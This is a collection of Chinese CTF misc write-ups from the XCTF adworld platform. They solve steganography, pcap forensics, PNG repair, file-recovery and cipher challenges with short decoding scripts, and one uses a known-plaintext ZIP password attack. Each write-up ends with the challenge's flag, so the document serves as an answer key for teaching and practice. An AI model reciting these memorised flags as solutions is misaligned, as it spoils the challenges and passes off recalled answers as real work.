查看2张图片,可以看到在0000000.png图片中包含flag 方法二:通过wrireshark打开流量包flag.pcap,搜索关键字flag,可以看到包含了flag.png,这可能与flag有关然后对其进行追踪流--tcp流再次搜索关键字flag,发现也有很多包含flag.png的图片,这些都不是flag.png的真实数据然后进行数据流2 跳转,并查看,发现有包含png图片的内容,且开头为IHDR这里将以原始数据,保存为flag.png通过winhex打开flag.png,删除89504E前的所有十六进制数据,然后保存图片 查看保存后的图片,发现内容包含了flag最终flag为:HITB{95700d8aefdc1648b90a92f3a8460a2c} 题目名称:Erik-Baleog-and-Olaf题目附件:https://adworld.xctf.org.cn/media/task/attachments/a020007e78914bb1a7a17cbf68e2c5d1.zip题目writeup:方法一:使用binwalk命令查看文件包含的内容,其中可以看到包含了一张png图片binwalk stego100并使用foremost命令分离文件 foremost stego100 获得了一张图片000000000.png通过stegsolve工具查看通道,其中图片中包含残缺的二维码。通过ps进行修复,获得一张二维图片通过QR Research二维码工具扫描,获得flag 方法二:通过strings 命令查看文件的属性,其中属性中包含了一个URL 图片地址。http://i.imgur.com/22kUrzm.png(https://github.com/jesstess/tinyctf/blob/master/erik/data/22kUrzm.png)这种图片和原始的文件,可能存在一定的关联,这里联想到需要进行2个文件的对比使用compare命令进行2个文件对比,并输出一张新的图片文件compare stego100 22kUrzm.png -compose src flag.png通过QR reswarch二维码扫描工具扫描出flag.png图片,可获得flag 最终flag为:flag{#justdiffit} 题目名称:labour题目附件:https://adworld.xctf.org.cn/media/task/attachments/6bf99baed0d84d2c8c28b6b2f08c34a6基础知识:1.GPX(GPS Exchange Format, GPS交换格式)是一个XML格式,为应用软件设计的通用GPS数据格式。 2.它可以用来描述路点、轨迹、路程。这个格式是免费的,可以在不需要付任何许可费用的前提下使用。它的标签保存位置,海拔和时间,可以用来在不同的GPS设备和软件之间交换数据。如查看轨迹、在照片的exif数据中嵌入地理数据 题目writeup:1.用记事本打开文件,发现该文件的格式为gpx,通过百度gpx文件格式。发现是一种gps交换数据的地图格式文件 这里可以通过在线网址解析gpx格式文件出地图。https://www.gpsvisualizer.com/map_input 放大发现每个点都有序号,一共17个点,然后每个点都对应一个国家的名称,按照顺序记录下来 统计出每个坐标点对应的国家城市名称。WP01-A - BangladeshWP02-B - IndiaWP03-C - TurkmenistanWP04-D - SudanWP05-E - ChadWP06-F - ThailandWP07-G - FranceWP08-H - MalesiaWP09-I - AfganistanWP10-J - PakistanWP11-K - TurkeyWP12-L - HungaryWP13-M - EgyptWP14-N - HaitiWP15-O - AngolaWP16-P - ChinaWP17-Q - Kazaksztan发现前面7国家城市的首字母组合BITSCTF就是flag提交的格式首字母。那么组合构成flag:BITSCTF{MAPTHEHACK},提交发现错误 再次查看文件中有一段注释是:Use appropriate brackets and underscores to separate words if you succeed(如果成功,请使用适当的括号和下划线分隔字符) 那么重新用括号和下划线分割符号组合flag. 最终flag为: BITSCTF{MAP_THE_HACK} 题目名称:misc_pic_again题目描述:flag = `hctf{[a-zA-Z0-9~]*}`题目附件:https://adworld.xctf.org.cn/media/task/attachments/719af25af2ca4707972c6ae57060238e.png题目writeup:方法一:下载附件,获得一张图片,通过stegsolve图片隐写工具查看图片,尝试通道查看并有发现和flag有关的,再次尝试查看图片LSB隐写(analyse----DATA Extract)对RGB和LSB数据分析。这里将红蓝绿设置为0,并进行提取查看,发现开头为pk,这个是zip压缩头的格式。将结果保存为flag.zip文件对其flag.zip解压缩,获得一个1的文件 通过winhex或者记事本打开,根据题目描述,flag格式为hctf开头,搜索关键字"hctf"可以看到文件中有包含flag 方法二:通过zsteg图片影写工具对图片进行分析,发现其中隐藏了一个zip文件zsteg flag.png 使用zsteg -e b1,rgb,lsb,xy 对flag.png LSB隐写的压缩文件进行提取,保存为flag.zip zsteg -e b1,rgb,lsb,xy flag.png > flag.zip对保存后的flag.zip进行解压缩,解压缩后得到一个文件1,且通过strings命令对其搜索关键字hctf,可获得flagstrings 1 |grep hctf最终得到flag:hctf{scxdc3tok3yb0ard4g41n~~~} 题目名称:low题目附件:https://adworld.xctf.org.cn/media/task/attachments/15a04eedcabe43978bb692c21a0f1b52.rar题目writeup:下载附件,得到这一张low.bmp图片,通过stegsolve打开,分析lsb隐写,无果,发现通道有问题这里直接通过脚本生成LSB隐写显示隐藏图片:import PIL.Image as Image img = Image.open('low.bmp') img_tmp = img.copy() pix = img_tmp.load() width,height = img_tmp.size for w in range(width): for h in range(height): if pix[w,h]&1 == 0: pix[w,h] = 0 else: pix[w,h] = 255 img_tmp.show()将显示图片保存为flag.jpg通过QR Rearch二维码扫描工具可获得flag内容最终得到flag:flag{139711e8e9ed545e} 题目名称:适合作为桌面题目附件:https://adworld.xctf.org.cn/media/task/attachments/1573d940d9bb47a083da6db70ffbffe0.rar题目writeup:下载附件,并解压附件,得到一张1.png图片,通过stegsolve工具打开图片,并查看通道,发现在red plane 1通道是显示一张二维码将二维码保存为flag.png图片通过二维码工具QE Reswarch对flag.png进行扫描,获得一串十六进制的字符串03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000将十六进制字符串保存到新建的flag文件中 通过winhex打开flag文件,然后转换文件---十六进制ascii-->二进制‘转换成功后,发现文件中包含有1.py和1.pyt关键字,该文件为pyc格式的文件因此将其保存为flag.pyc 这里通过在线工具将flag.pyc文件进行反编译成py文件https://tool.lu/pyc/ 或者通过uncompyle6将flag.pyc反编译成py文件uncompyle6 flag.pyc >flag.py运行反编译后的python文件,可获得flag(注意需要在末尾添加falg()以调用函数)def flag(): str = [102,108,97,103,123,51,56,97,53,55,48,51,50,48,56,53,52,52,49,101,55,125] flag = '' for i in str: flag += chr(i) print flag flag()最终flag为:flag{38a57032085441e7} 题目名称:心仪的公司题目描述:小黑在拿到webshell后,马上就获得了自己心仪公司的照片题目附件:https://adworld.xctf.org.cn/media/task/attachments/31cc86285680418f8a1fb45951d25552.rar题目writeup:strings webshell.pcapng | grep {根据题目描述:小黑在拿到webshell后,马上就获得了自己心仪公司的照片。猜测是找http包,然后分析包含照片的信息。用wireshark打开包,过滤出http协议的包,不一会就能找到图片中的flag 题目名称:misc1题目描述:d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9e1e6b3e3b9e4b3b7b7e2b6b1e4b2b6b9e2b1b1b3b3b7e6b3b3b0e3b9b3b5e6fd题目writeup:根据题目描述,发现是一串十六进制字符,直接转换成ascii发现不行。而且字符刚好是134位。可以将其分为两个一组payload = "d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9e1e6b3e3b9e4b3b7b7e2b6b1e4b2b6b9e2b1b1b3b3b7e6b3b3b0e3b9b3b5e6fd" s = "" for i in range(0,len(payload),2): s += "0x" s += payload[i:i+2] s += "," print s得到2个一组的十六进制:0xd4,0xe8,0xe1,0xf4,0xa0,0xf7,0xe1,0xf3,0xa0,0xe6,0xe1,0xf3,0xf4,0xa1,0xa0,0xd4,0xe8,0xe5,0xa0,0xe6,0xec,0xe1,0xe7,0xa0,0xe9,0xf3,0xba,0xa0,0xc4,0xc4,0xc3,0xd4,0xc6,0xfb,0xb9,0xe1,0xe6,0xb3,0xe3,0xb9,0xe4,0xb3,0xb7,0xb7,0xe2,0xb6,0xb1,0xe4,0xb2,0xb6,0xb9,0xe2,0xb1,0xb1,0xb3,0xb3,0xb7,0xe6,0xb3,0xb3,0xb0,0xe3,0xb9,0xb3,0xb5,0xe6,0xfd,0xd4此类的都是大于127的所以很可能是移位,而且要用减的,因为这里的数字都比127来的大。# encoding:utf-8 s = [0xd4,0xe8,0xe1,0xf4,0xa0,0xf7,0xe1,0xf3,0xa0,0xe6,0xe1,0xf3,0xf4,0xa1,0xa0,0xd4,0xe8,0xe5,0xa0,0xe6,0xec,0xe1,0xe7,0xa0,0xe9,0xf3,0xba,0xa0,0xc4,0xc4,0xc3,0xd4,0xc6,0xfb,0xb9,0xe1,0xe6,0xb3,0xe3,0xb9,0xe4,0xb3,0xb7,0xb7,0xe2,0xb6,0xb1,0xe4,0xb2,0xb6,0xb9,0xe2,0xb1,0xb1,0xb3,0xb3,0xb7,0xe6,0xb3,0xb3,0xb0,0xe3,0xb9,0xb3,0xb5,0xe6,0xfd] for i in range(135): flag = "" for j in range(len(s)): flag += chr(s[j]-i) print("第%s移位:%s")%(i,flag)或者使用下面脚本将其每两个分组十六进制,转成十进制后-128(偏移量为128),再转成ascii码得到flagimport re s = 'd4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9e1e6b3e3b9e4b3b7b7e2b6b1e4b2b6b9e2b1b1b3b3b7e6b3b3b0e3b9b3b5e6fd' num = re.findall('\w{2}' ,s) flag = '' for i in num: ch = chr(int(i,16)-128) flag += ch print(flag)最终得到flag:DDCTF{9af3c9d377b61d269b11337f330c935f} 数字像素隐写题目名称:Miscellaneous-200题目描述:[Flag在这里!](flag.txt)题目附件:https://adworld.xctf.org.cn/media/task/attachments/62f4ea780ecf4e6bbef5f40d674ec073.txt题目writeup:方法一:下载附件得到一个flag.txt文件,里面有61366行,每行包含三个逗号分隔值的元组,大部分为 255,255,255 于是可推断以此txt文件可绘制一幅图片# coding=utf8 from PIL import Image x = 503 y = 122 img = Image.new('RGB',(503,122),"black") f = open('flag.txt','r') pix=[] for i in range(61366): a = f.readline() a = a.replace('\n','') pix.append(a) #print pix im = [] for i in range(len(pix)): im.append(pix[i].split(',')) #print im for i in range(x):#x = 503 for j in range(y):#y = 122 pix = (int(im[i*122+j][0]),int(im[i*122+j][1]),int(im[i*122+j][2])) img.putpixel((i,j),pix)#写某个像素位置的值 img.show() 方法二:这里我们可以将文本内容转换成ppm格式,PPM格式详见下面链接:https://blog.csdn.net/kinghzkingkkk/article/details/70226214转换后的flag.ppm格式说明:第一行:p3表示文件格式类型为ascii第二行:122 503 表示图像的宽度和高度用ascii表示第三行:最大像素值为255字节表示,范围为0-255第4行开始到6139行表示图像数据:按RGB的顺序排列,RGB中间用空格隔开,图片每一行用回车隔开。https://github.com/g0tmk/write-ups/blob/master/defkthon-ctf/misc-200/flag.ppm 我们通过命令convert将falg.ppm转换为 PNG,然后翻转 + 旋转》可获得图片,图片中含有flag内容最终得到flag:flag{ youc@n'tseeme } 端口隐写题目名称:Hidden-Message题目描述:藏的什么信息?题目附件:https://adworld.xctf.org.cn/media/task/attachments/8868f595665740159650d6e654aadc93.pcap题目writeup:下载附件,得到一个流量数据包flag.pcap,此数据包用wireshark打开发现都是UDP协议,其中源端口末尾号一直变化(发现只有红框位置0和1不断变换),考虑到为二进制,结合kali的tshark(wireshark命令版)和perl语法,将二进制数据转化之后的到flagtshark -r flag.pcap -Tfields -e udp.srcport #打印数据包UDP协议源端口tshark -r flag.pcap -Tfields -e udp.srcport | while read port; do echo -n ${port: -1}; done | tr 01 10 | perl -lpe '$_=pack"B*",$_' 最终得到flag:Heisenberg 题目名称:Recover-Deleted-File题目描述:恢复磁盘并且找到FLAG.题目附件:https://adworld.xctf.org.cn/media/task/attachments/c297795634cb4f6e8e1d88be044ec0c4.gz题目writeup:下载附件,并对附件解压,获得一个disk-image文件 通过binwalk命令查看文件包含的属性,发现是一个linux磁盘文件binwalk disk-image通过fls列出linux磁盘文件有哪些文件和操作记录,可以看到有一个目录lost+found以及被删除操作flagfls disk-image根据flag描述,需要磁盘数据还原,可通过extundelete命令对其进行恢复,这里可以恢复出flag目录extundelete disk-image --restore-file /flag或者extundelete disk-image --restore-all进入到恢复数据目录,发现有一个flag文件,修改flag执行程序,并执行flag,可获得flag内容cd RECOVERED_FILES/chmod +x flag./flag最终获得flag:de6838252f95d3b9e803b28df33b4baa 下载附件,得到一个flag.mkv文件,打开听到一段奇怪的声音,可能有flag有关,需要将视频中的音频文件提取出来。 这里使用 MKVToolnixPortable对音频进行提取,可以看到2个mp3音频文件,先导出第二个音频文件,并保存为flag.mp3(第一个mp3音频文件,通过后面的音频文件分析没有包含flag内容)通过音频分析工具audacity进行分析,查看频谱图,可以看到有包含falg的内容,并不是很清晰,需要视图放大查看。 最终获得flag为:flag{fun_v1d30_mu51c} 题目名称:很普通的数独题目附件:https://adworld.xctf.org.cn/media/task/attachments/dee83d60aeda4a8cae93c5aac8f8a2ff.zip题目writeup:下载附件,解压附件得到25张图片,把25张重合到一起去,得到一个完整的数组,但是没有什么用,想到25张数独可以组成5x5,是不是一张二维码呢?仔细观察,如果把有数字的方格涂黑,下面三张图片就是二维码的三个定位码,再注意到图片数量为25张,是5的平方,所以,这25张图片组合起来就是一张二维码观察发现,1、5、21这三张图片是定位块,但是顺序不对,将顺序换为5、21、1于是把有数字的转换成1,没有数字的地方转换成0,再按顺序转换成01,得到下述数据将其保存为flag.txt:111111101010101000101000001111110000101111111 100000101100111101010011101100011001001000001 101110101110011111010011111101000101001011101 101110101101100010001010000011110001101011101 101110100011100100001111101111111011101011101 100000101100100000011000100001110100001000001 111111101010101010101010101010101011101111111 000000000011001101001000110100110011100000000 110011100100100001111111100100101000000101111 101001001011111111101110101011110101101001100 100000111100100100000110001101001101010001010 001100010011010001010011000100000010110010000 010110101010001111110100011101001110101101111 100011000100011100111011101101100101101110001 001100110100000000010010000111100101101011010 101000001011010111110011011111101001110100011 110111110111011001101100010100001110000100000 110101000010101000011101101101110101101001100 010011111110001011111010001000011011101101100 011001011001010101100011110101001100001010010 010111111111101011111111101101101111111111100 011110001100000100001000101000100100100011110 111110101110011100111010110100110100101010010 110010001011101011101000111100000011100010000 101011111011100111101111111100001010111110010 110100011000111000100111101101111101000100010 111101111110001001000011010110001111110111110 011001010101000110010100010001000101101010001 011101110101101101100100001101101000111101001 110110001001101100010101101111110100101100110 000011100111000000000100001010101111100010010 111010010011110011101110010100001011111010010 101001100010111111110100000100001010101010100 000010011001001101110101001111100101111101101 000010111101110001101011000001000101110100110 011110011010100010100000011011000001110010000 100110100100001101111111101100101110111110011 000000001111110101101000101011100100100011010 111111100011111011011010101101110011101011110 100000101110101101101000111110010001100010001 101110101011100001111111101101001000111111011 101110100110111101101000001001101100011101101 101110100000011101100001101010110010010010001 100000101011001011111011001011000011010110000 111111101010101001111011110101101110000101101使用python脚本转换成图片:from PIL import Image x = 45 y = 45 im = Image.new('RGB', (x, y)) with open('flag.txt') as f: for i in range(x): ff = f.readline() for j in range(y): if(ff[j] == '1'): im.putpixel((i, j), (255,255,255)) else: im.putpixel((i, j), (0,0,0)) im.save("flag.jpg")生成一张二维码图片通过二维码QR Research扫描图片可获得一串base64的字符串Vm0xd1NtUXlWa1pPVldoVFlUSlNjRlJVVGtOamJGWnlWMjFHVlUxV1ZqTldNakZIWVcxS1IxTnNhRmhoTVZweVdWUkdXbVZHWkhOWGJGcHBWa1paZWxaclpEUmhNVXBYVW14V2FHVnFRVGs97 次 base64 解码得到https://base64.us/最终得到flag:flag{y0ud1any1s1} 题目名称:很普通的Disco题目附件:https://adworld.xctf.org.cn/media/task/attachments/48dd5a182fcc477a9a83200d800e26db.zip题目writeup:下载附件,解压附件得到一个Disco.wav音频文件,于是联想和音频隐写有关先用audacity打开,发现开头有杂音,放大查看开头仔细的查了查,刚好有105个峰值频率高低起伏的点。峰值高的点为1,峰值低的点为0。输出出来是105个二进制数,每7个数为一组,刚好15组,也就是15个字母。输出的二进制文件:110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101二进制位,8个二进制转成一个字符。这里只有105个,前七位1100110,是f的二进制形式。所以需要取出凑够8位,将步长设置成7,然后 + 0,再转成字符串 使用以下python脚本进行转换成ascii: s = '110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101' flag = '' for i in range(0,len(s),7): flag += chr(int('0'+s[i:i + 7],2)) print(flag) 最终flag:flag{W0W*funny} 题目名称:miscmisc题目附件:https://adworld.xctf.org.cn/media/task/attachments/d037429cf055493b879ef09d9b59bd41.zip题目writeup:1.下载附件,对其进行解压,得到一张bugoucuci.png图片,并通过binwalk对图片文件进行查看文件包含属性,发现图片文件隐藏了zip和PN两种文件。通过foremost命令对bugoucuci.png图片进行分离,得到2个压缩文件和一个PNG图片文件。其中2个压缩文件的内容是一样的,只需要分析其中一个压缩文件就行了。这里对其中的一个压缩文件00000090进行解压,得到一个chadiand.zip压缩文件和一张chayidian.jpg图片文件直接解压chadiand.zip文件,提示需要输入密码。首先猜测可能是爆破,但是爆破了十多分钟也没出密码。说明密码和爆破无关。接着分析chayidian.jpg图片文件,通过binwalk命令发现图片文件包含了一个压缩文件和1张PNG图片通过foremost对chayidian.jpg图片文件进行分离,得到一个00000318.zip压缩文件。对00000318.zip压缩文件进行解压,得到一个flag.txt文件,查看文件内容并不是flag根据解压出来的flag.txt文件以及需要密码解压的chadiand.zip文件中也包含了一个flag.txt文件,猜测是需要用到明文攻击才能解压出chadiand.zip文件首先通过winrar压缩软件对flag.txt进行打包压缩成flag.zip,然后对比其中CRC32的值,发现chadian.zip和flag.zip的CRC32值是一样的。那么就可以通过明文攻击可以解压出chadian.zip这里通过ARCHRP对chadian.zip文件进行明文攻击等待十分钟后,显示加密密钥已恢复成功然后点确定然后保存chadiand_decrypted.zip对chadiand_decrypted.zip进行解压,得到以下三个文件解压whoami.zip文件,提示需要输入密码,既然解压得到三个文件,那么解压的密码一定和另外两个文件有关。打开world.png图片文件,图片内容中发现有提示: pass in world. 此时想到密码可能与此图片还有world.doc文件有关,在kali下通过binwalk分析无果。‘那么考虑可能是图片的隐写,于是打开stegsolve打开world.png文件,然后试探各种通道,在LSB BGR条件下发现pass,所以这是LSB信息隐写。得到pass:z^ea,去解压文件 发现不行 打开world.doc文件,显示是一段提示内容:除了这个就差一点点了,并根据提示 pass in world 猜想 world.doc 文件 可能还会有隐藏文字勾选word选项中的隐藏的文字,就会显示出几行像密码的隐藏字符到目前为止,我们从world1.png中得到 pass:z^ea 在world.doc文件中得到几行隐藏的字符串。测试了z^ea+world.do每行中隐藏的字符串都不能解压压缩文件。出题人真的是脑洞大开,谁会想到最后的密码是 pass内容+world里每行字符串的最后一个字符, 于是解压密码就是 :z^ea4zaa3azf8通过该密码解压出whoami压缩包,打卡压缩包中的whoami.txt就得到了flag内容。最终flag为:flag{12sad7eaf46a84fe9q4fasf48e6q4f6as4f864q9e48f9q4fa6sf6f48} 题目名称:flag_universe题目描述:please find the flag in our universe!题目附件:https://adworld.xctf.org.cn/media/task/attachments/d2ced53c4a2e476995845c72bc39939d.zip题目wirteup:打开流量包,使用筛选器筛出ftp数据流,可以看到通过ftp命令操作了universe.png和flag.txt以及new_universe.png图片其中对比较显眼的new_universe.png图片进行TCP数据流追踪 追踪数据流在到TCP流为10时,出现了一段base64字符串 对base64解密后得到:flag{This is fake flag hahaha},提交显示错误,该flag是假的flag 继续追踪TCP数据流,universe.png中也没有flag,当追踪到第14个TCP数据流时,有一个new_universe.png 通过原始数据格式保存为flag.png可以看到成功导出了一张PNG图片通过stegsolve图片隐写工具进行查看,发现存在LSB隐写,可获得flag内容最终flag为:flag{Pla te_err_klaus_Mai l_Life} 题目名称:奇怪的TTL字段题目描述:我们截获了一些IP数据报,发现报文头中的TTL值特别可疑,怀疑是通信方嵌入了数据到TTL,我们将这些TTL值提取了出来,你能看出什么端倪吗?题目附件:https://adworld.xctf.org.cn/media/task/attachments/0bf565e00b864f4ba06efc858056c7e9.zip题目writeup:下载附件,对其解压得到一个ttl.txt文件,其内容就是一组ttl的值 该文本文件中的TTL值只有4种值:63/255/127/191,并且根据题目的介绍我们知道数据隐藏在这些值里,那么就比较容易想到的是信息隐藏在二进制中。 将这四个数值都转换成二进制得到 :111111、1111111、1111111、10111111。 TTL 值为一个 8 位整数,不足 8 位的二进制数开头补 0,变为 8 位。 即:00111111、11111111、0111111、10111111 变的只有前面两位,后面6位1不变,只有前面两位藏了数据,也就是说一组TTL值可以隐藏一个字节,提取开头两位为:00、11、01、10,恰好为全排列,可以用于数据的存储: 值(D)二进制6300111111255111111111270111111119110111111 TTL=127--》01 TTL=191--》10 TTL=127--》01 TTL=191--》10 得到一个字母对应的8位即:01100110,即字母为:f 如果传输4个就是一字节,取前面的2位组成8位,对照二进制字母表,可以发现前面是ffd8,jpg图片标志 通过python脚本将ttl.txt提取转换后的数据并保存为图片,是因为二进制转成ASCII时发现是 jpg 文件格式。 f = open('ttl.txt','r') TTL = f.readlines() p = [] for i in TTL: p.append(int(i[4:])) s = '' for i in p: if i == 63: a = '00' elif i == 127: a = '01' elif i == 191: a = '10' elif i == 255: a = '11' s += a print(type(s)) print(s) import binascii flag = '' for i in range(0,len(s),8): flag += chr(int(s[i:i+8],2)) flag = binascii.unhexlify(flag) wp = open('res1.jpg','wb') wp.write(flag) wp.close() 得到一张resq.jpg二维码图片:通过binwalk命令查看二维码图片包含有6张图片 并通过foremost分离出res1.jpg图片最终得到6张残缺的图片,可拼图为一张二维码图片 用ps拼接成二维码图片 通过 QR resarch二维码扫描工具读取出内容出来: 其内容为:key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}根据key的信息,可以联想到一种常用的加密,Automatic加密通过在线 解密网站:https://www.wishingstarmoye.com/ctf/autokey最终flag为:flag{2028ab39927df1d96e6a12b03e58002e} 题目名称:2-1题目附件:https://adworld.xctf.org.cn/media/task/attachments/148a3ba22b8541f48f354f3e27f0aa4c.png基础知识:89 50 4E 47 0D 0A 1A 0A 是PNG头部署名域,表示这是一个PNG图片00 00 00 0D 描述IHDR头部的大小49 48 44 52 是Chunk Type Code, 这里Chunk Type Code=IHDR00 00 00 CE 00 00 00 CE 08 02 00 00 00 描述了Chunk Data,它是可变长度数据,前四个字节(前8位)是宽度,后四个字节(后8位)节是高度。F9 7D AA 93 是IHDR的CRC校验题目writeup:下载附件,对其进行解压得到一张misc4.png图片,但是无法打开文件通过winhex打开misc4.png图片,发现PNG图片文件头开头的 前 4位(80 59) 不对。PNG (png),文件头:89504E47 文件尾:AE 42 60 82将其修改为89 50 并保存为flag.png依然打不开文件通过tweakPNG工具查看png图片IHDR的CRC值,发现CRC值不对 把图片文件IHDR 的crc校验值 修改为 55 d5 f6 4f 后发现 还是打不开 发现图片的宽度为0,需要根据 crc校验值 算出图片的宽度(前8位为图像宽度,后八位为图像高度) 下面通过python 脚本算出图片的宽度:import os import binascii import struct misc = open("misc4.png","rb").read() for i in range(1024): data = misc[12:16] + struct.pack('>i',i)+ misc[20:29] crc32 = binascii.crc32(data) & 0xffffffff if crc32 == 0x932f8a6b: print (i)得到709,十六进制转换后得到,0x2c5接下来我们在winhex中将宽度字节改为02C5 保存为falg2.png,打开图片发现包含flag内容:最终flag为:wdflag{Png_C2c_u_kn0W} 题目名称:3-11题目附件:https://adworld.xctf.org.cn/media/task/attachments/d0430db27b8c4d3694292d9ac5a55634.png题目writeup:用 Steg­solve 打开,发现是 LSB 隐写,开头 PK是 zip 的文件头将其另存为flag.zip,打开压缩文件,发现文件已损坏于是用winrar自带的修复压缩文件的功能进行修复压缩文件 将修复好的文件保存为rebuilt.flag.zip,对其进行解压,得到一个flag.txt文件,文件内容为base64将base64通过在线工具进行解密,发现是一张PNG图片将其保存为flag1.png图片,发现无法打开该文件如何变成图片呢,尝试直接改后缀名根本不行,这时候想到能不能base64转图片呢,百度一下找到了在线网站,直接转换得到了答案 网站:https://tool.jisuapi.com/base642pic.html 最终flag:FLAG{LSB_i5_SO_EASY} 题目名称:互相伤害!!!题目描述:flag 为flag{XXX}内的XXX内容题目附件:https://adworld.xctf.org.cn/media/task/attachments/0fb3ac2f54b7497cb35e04265c478b76.zip题目writeup:下载附件,解压附件得到一个文件flag通过file命令查看flag文件属性为pcapng流量包文件 将其后缀名改为.pcapng用Wireshark打开流量包,过滤http协议,发现存在多个jpg文件请求通过导出http对象,将jpg文件全部提取出来提取出共21个jpg文件,可以看出全部为斗图素材首先分析图15,发现其中包含了二维码图:通过在线二维码扫描(这里使用QR Rearch扫描不起)可获得一串加密的字符串:https://cli.im/deqrU2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7 bE9uL8lW/KLfbs33aC1XXw==根据图片文字提示“本发布会由AES独家赞助”那么上面二维码获取的字符串为AES加密的字符串。其中图片上的文字“CTF"可能和AES解密的密钥有关。可将CTF试作为解密的密码。http://www.jsons.cn/aesencrypt/得到解密后的字符串:668b13e0b0fc0944daf4c223b9831e49以668b13e0b0fc0944daf4c223b9831e49 提交flag,发现提交失败,显然不是flag. 继续通过binwalk对其他文件进行依次分析,发现其他图片文件都包含有zip文件。对其中任意一个图片文件10.jpg进行分离得到一个压缩文件解压缩文件得到一张二维码图片,并通过QR Rearch二维码扫描工具,发现扫描出来的内容几乎都是“扔下内衣真有一线生机???交出内裤才有活路”仔细观察,图5文字内容可以简单理解为“扔下内衣,交出内裤”,观察斗图素材发现图11符合上述描述“来呀,互相伤害”这张图也与题目名称“互相伤害”有相同有关联。 那么就继续对图11重点分析 图 5 图11通过foremost命令对其进行分离,得到一个压缩文件但是解压缩提取出来的压缩文件,提示需要密码输入上面解出来的字符串,可正常解开压缩文件可获得一张画中画的二维码图片扫描图二维码得到字符串:“扔下内衣真有一线生机????交出内裤才有活路!!!!“。 发现二维码中心还有一个二维码,将小二维码截取出来,扫码得到flag内容: 得到flag:flag{97d1-0867-2dc1-8926-144c-bc8a-4d4a-3758}但是根据题目描述,flag 为flag{XXX}内的XXX内容最终flag为:97d1-0867-2dc1-8926-144c-bc8a-4d4a-3758 题目名称:签到题题目描述:SSCTF线上选举美男大赛开始了,泰迪拿着他的密码去解密了,提交花括号内内容(Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==)题目writeup:根据描述,那么falg提交的格式为ssctf{}或者flag{},根据flag提交格式,因此最终的字符串必然是被栅栏密码加密过的提交花括号内容:Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==通过ctfcarckt00ls对其进行base64解密:得到base64解密字符串:ggQ@gQ1fqh0ohtjpt_sw{gfhgs#}上段密文的开头是g所以必然还要经过以此凯撒密码加密的 通过对其凯撒解密,移位14得到看起来像FLAG格式的开头的SSC得到位移14的凯撒解密为:ssC@sC1rct0atfvbf_ei{srtse#}再栅栏密码解密,每组字数8,第二栏就是ctf内容:最终ctf结果为:ssctf{ssCtf_seC10ver#@rabit} 题目名称:隐藏的信息题目描述:这是一个被混淆的文件,但是我忘记了这个文件的密码。你能够帮助我还原明文吗?题目附件:https://adworld.xctf.org.cn/media/task/attachments/2eb44acfc89d4f0f9fa221d21ab96033.zipwireup:方法一:1.下载附件,解压附件得到一个message.txt文本文件,打开文件发现内容是一串八进制的数字,需要将其转换成ascii 2.通过 python脚本将八进制数字转换成asciiimport re import sys s='0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113 ' a=re.findall('\d{3,}',s) for i in a: sys.stdout.write(chr(int(i,8)))得到ascii:V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K,该字符串看起来像base64加密通过ctfcarckt00ls工具的base64解密功能对其解密,得到flag 方法二:使用“八进制 十进制 ASCII相互转换【支持多个字符串】”工具解—>输入内容—>八进制转换ASCII 得到asccii:V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0Kbase64解密:https://base64.us/ 最终得到flag:ISCC{N0_0ne_can_st0p_y0u} 题目名称:saleae题目附件:https://adworld.xctf.org.cn/media/task/attachments/5621c80acfbc445d9eb252b2660070b5.zip题目writeup:下载附件,对其进行解压得到一个saleae.logicdata文件,该文件为逻辑分析仪数据文件。通过谷歌搜索是需要用Logic软件打开,打开文件发现有4个channel,其中channel 0和channel 2有波形。Logic 软件下载地址:https://downloads.saleae.com/logic/1.2.18/Logic+1.2.18+Win+64+Standalone.zip在analyzers新建一个SPI项目参数设置如下,其中MOSI是主输出从输入,MISO是主输入从输出:channel 0:规律性,等宽,是 CLK channel 1:无波形,是主输出端 MOSI channel 2:波形宽度不一,携带数据,为主输入端 MISO channel 3:数据传输是低电平,为CS偏选端 直接竖着查看,可获得flagflag最终为:flag{12071397-19d1-48e6-be8c-784b89a95e07} 题目名称:intoU题目描述:I'm so into you I can barely breath.And all I wanna do is to fall in deep (IntoU歌曲歌词)题目附件:https://adworld.xctf.org.cn/media/task/attachments/d7351710703a49cda273d3284e7a3df1.zip题目writeup:下载附件,对其进行解压得到一个音频文件,通过Audacity打开音频文件进行分析,首先选择频谱图,看了大半天也没发现有flag.通过谷歌搜索,发现需要调整到较小的采样率,才有可能显示音频隐写,下面将其采样率设置为8000 HZAriana Grande---->频谱图—>采样率—>8000 HZ拖动滚动条到最右边,并视图--放大,可查看到flag内容最终获得flag:RCTF{bmp_file_in_wav} 